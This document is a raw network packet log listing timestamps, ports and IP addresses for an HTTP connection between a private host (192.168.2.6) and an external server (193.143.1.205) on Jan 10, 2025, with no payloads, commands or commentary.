Jan 10, 2025 14:58:05.764435053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.764445066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.764458895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.764468908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.764487028 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.764516115 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.771631002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.771642923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.771656990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.771684885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.771687984 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.771723032 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.771725893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.771828890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.771840096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.771851063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.771873951 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.771891117 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.772099018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.772111893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.772124052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.772135019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.772159100 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.772181988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.772329092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.772349119 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.772358894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.772386074 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.772468090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.772479057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.772490978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.772501945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.772511959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.772545099 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.772572041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.772619963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.773062944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.773075104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.773087025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.773114920 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.773173094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.773192883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.773202896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.773216009 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.773242950 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.773293972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.773305893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.773340940 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.773415089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.773426056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.773437023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.773447990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.773458958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.773473024 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.773500919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.773502111 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.773547888 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.774249077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.774260044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.774271011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.774293900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.774300098 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.774306059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.774317026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.774327993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.774332047 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.774362087 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.774429083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.774441004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.774451971 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.774463892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.774471998 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.774497032 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.775141001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.775151968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.775166035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.775182009 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.775197983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.775202990 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.775211096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.775249958 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.775319099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.775331020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.775341988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.775353909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.775365114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.775387049 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.775418997 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.813119888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.813132048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.813143015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.813173056 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.813214064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.863280058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863303900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863323927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863334894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863344908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863356113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863368034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863378048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863389015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863401890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863456964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863467932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863477945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863488913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863500118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863509893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863521099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863646030 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.863706112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863717079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863727093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863753080 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.863759041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863770962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863776922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.863785028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863796949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863838911 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.863981009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.863991976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.864001989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.864012003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.864012957 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.864025116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.864036083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.864044905 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.864049911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.864069939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.864077091 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.864079952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.864109039 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.864183903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.864238977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.889281988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.889297962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.889309883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.889332056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.889343977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.889354944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.889365911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.889404058 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.889405012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.889446974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.889457941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.889467955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.889472961 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.889503002 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.896665096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.896681070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.896692038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.896709919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.896723032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.896773100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.896784067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.896790981 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.896873951 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.896903992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.896915913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.896925926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.896955967 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.897037029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897048950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897059917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897078991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.897110939 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.897222996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897233963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897244930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897257090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897265911 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.897283077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897313118 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.897435904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897480011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897483110 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.897491932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897531033 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.897566080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897577047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897588015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897598982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897618055 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.897648096 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.897852898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897865057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897921085 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.897938013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897948980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897958994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897969961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897979975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.897985935 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.898014069 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.898257017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.898267984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.898278952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.898303032 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.898305893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.898319006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.898325920 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.898329973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.898341894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.898360014 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.898380041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.898504019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.898515940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.898526907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.898536921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.898547888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.898557901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.898567915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.898567915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.898578882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.898591042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.898607016 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.898631096 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.899092913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.899104118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.899113894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.899131060 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.899159908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.899167061 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.899173021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.899184942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.899195910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.899214983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.899244070 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.899286032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.899296999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.899307966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.899324894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.899336100 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.899363041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.899528027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.899539948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.899550915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.899561882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.899571896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.899579048 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.899583101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.899606943 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.899637938 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.899983883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.899996042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.900006056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.900037050 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.900057077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.900070906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.900103092 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.901575089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.901626110 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.931591988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.939308882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.939336061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.939346075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.939363003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.939373016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.939389944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.939397097 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.939402103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.939449072 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.939477921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.939495087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.939532042 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.947048903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947087049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947092056 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.947107077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947118044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947144985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.947154045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947165012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947191954 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.947211027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947221041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947247982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947257042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947257042 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.947299004 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.947335005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947345972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947355986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947381973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947391987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947400093 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.947410107 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.947438002 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.947475910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947487116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947496891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947506905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947519064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.947561979 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.947596073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947607994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947618961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947629929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947639942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947650909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947664022 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.947694063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.947766066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947777033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947788000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947798014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947808981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947808981 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.947835922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.947885036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947896957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.947932959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.976808071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.976824999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.976838112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.976849079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.976866961 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.976891994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.976895094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.976907969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.976918936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.976941109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.976948023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.976962090 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.984296083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984318018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984357119 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984360933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.984368086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984402895 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.984411955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984450102 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.984478951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984489918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984527111 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.984539986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984550953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984561920 CET	80	49709	193.143.1.205	192.168.2.6
